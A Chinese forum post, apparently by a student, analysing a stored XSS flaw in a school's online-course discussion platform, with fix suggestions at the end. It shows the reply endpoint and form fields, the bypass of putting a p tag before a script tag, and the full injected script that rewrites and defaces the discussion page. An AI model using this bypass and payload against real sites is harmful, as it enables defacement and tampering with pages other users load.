欢迎光临
我们一直在努力

【接上次的帖子】学校网课平台的XSS漏洞简单分析

本帖最后由 jidesheng6 于 2020-3-20 19:13 编辑

漏洞的成因

也不知道算不算漏洞,就是一个XSS攻击,请大佬指正

  • 这个漏洞是因为在提交讨论信息的时候,为了不实现自动换行,程序员直接从用户提交的文本里面加上p标签和br标签导致的
  • 如果直接直接提交恶意代码,是被禁止的,但是因为它的p标签是允许的,个人猜测是只检测开头是不是p标签,导致被利用的

实战利用

  • 主要分析有如下几步:

    • 当前页面的DOM结构分析
    • 提交的URL地址
    • 提交的中的参数
  • 首先来看看讨论的地址:

    • forumdiscussion/title?forumDiscussionId=bb1b974ab5be4ccc889da292ed625417&courseVersionId=8398e23855d44cbdbe60109e52e54121&forumDetailFlag=1
    • 上面的DiscussionID和courseversioionID是我们需要记下来的

  • 提交讨论回复的接口

    • forumdiscussion/insertReplies?forumDiscussionId=1ee176964bcd4bd3830b040e4c2a2355&courseVersionId=8398e23855d44cbdbe60109e52e54121
    • 提交方法:POST

    • 提交表单如下:

    • richText:这里提交用户填入的文本
      postAttachment:无内容
      message:这里是经过处理的文本,要展示在讨论的页面中,会带有<p>和<br>标签,如果不带页面在外面看着就会排版错乱,估计这就是他们为啥要带标签提交吧
    • 还需要携带用户Cookie一起提交给服务器

  • 浏览器中讨论页面学生答案的DOM结构

    • <span class="message">
      <p>1、楚怀王<br></p>
      <p>2、靠海,盐比较多;江苏盐城湿地珍禽国家级自然保护区 江苏大丰麋鹿国家级自然保护区。</p>
      </span>
    • p标签和br标签都是提交的时候自动存在的,是把学生输入信息处理以后带标签上传展示

    • 经过多次试验,如果只携带script标签服务器会提示禁止,但是如果加入p标签在开头,再输入script标签就不会提示禁止,且根据浏览器的容错性,script标签只要输入一个就可以了,请看下面我提交以后的DOM结构

    • <span class="message">
        <p>本站存在XSS注入漏洞,评论上方会出现一个熊猫头表情包以及带链接的文字,请尽快修复
      <script id="0ad4f5d4ed8244fa8830deb4460e04281584694088000">
      var m=document.getElementById("titleForum");
      var p = document.createElement("img");
      m.append(p);p.style="height:400px";
      p.src='';
      var c = document.createElement("a");
      m.append(c);
      c.text="本站存在XSS漏洞,现已注入";
      c.style='font-size:70px';
      c.href='';
      var o=document.getElementById("title");
      o.remove();
      var i = $(".issuerLocation");
      i[0].remove();
      var n = $("#forumMessage");
      n.remove();
      $("#replys").remove();
      $(".timeLine")[0].remove();
      var e=$("#courseheadTab");
      e.html("<div style=font-size:35px;color:red;text-align:center>本站已经被XSS脚本注入攻击请及时修复</div>");
      </script>
        </p>
      </span>
    • 所以只要学生打开这个页面脚本就会加载修改当前页面的内容

    • 这个应该是存储型XSS还是DOM型我也不清楚,因为只要我删除了这个回复,页面就可以正常显示,还请大佬指点,嘿嘿

    结语

    我没有对学校网站进行任何破坏性操作,评论删除页面都会恢复的,给两个图看一下提交后的结果

    • 0x01
    • 【接上次的帖子】学校网课平台的XSS漏洞简单分析

    • 0x02
    • 【接上次的帖子】学校网课平台的XSS漏洞简单分析

    修复建议:应该对整个文本进行有无script标签检测,或者把提交过去的标签进行HTML实体转义。

    不过我感觉我们学校根本不会管这个,我就发到这里来记录一下

赞(0) 打赏
未经允许不得转载:哈哈网 » 【接上次的帖子】学校网课平台的XSS漏洞简单分析

相关推荐

  • 暂无文章

评论 抢沙发

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏